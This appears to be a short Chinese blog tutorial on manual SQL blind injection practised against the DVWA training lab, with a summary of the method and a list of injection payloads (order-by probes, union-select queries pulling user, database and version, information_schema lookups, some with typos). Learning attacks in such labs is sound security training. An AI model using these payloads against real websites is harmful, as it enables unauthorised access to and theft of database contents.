WEB手动漏洞挖掘-SQL盲注（DVWA实战）

最新推荐文章于 2025-06-15 18:42:16 发布

原创

最新推荐文章于 2025-06-15 18:42:16 发布 · 6.6k 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#渗透 #漏洞 #web #数据库 #select

本文通过DVWA实战，详细介绍了WEB渗透中SQL盲注的原理和方法。首先从基础的SQL盲注开始，如利用'1=1'的条件获取正确结果。接着讲解了模糊匹配技巧，并使用Burp Suite辅助进行反复尝试，通过返回信息判断数据库内容。通过ASCII码计算，逐步揭示字符串。最后，对比不同安全级别页面的响应差异，突出盲注的特点。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

这里写图片描述

select * from table_name where id = ’ 1’ and 1=1– ’

在盲注里至少要有一个正确的结果；否则不显示；

1'order by 5--+
1'order by 3--+

1'union select 1,2--+
1'union select null,CONCAT_WS(CHAR(32,58.32),user(),database(),version())--+
1'and 1=0 union select null,table_name from information_schema,table#
1'and 1=0 union select null,table_name from information_schema,columns where table_name='user'#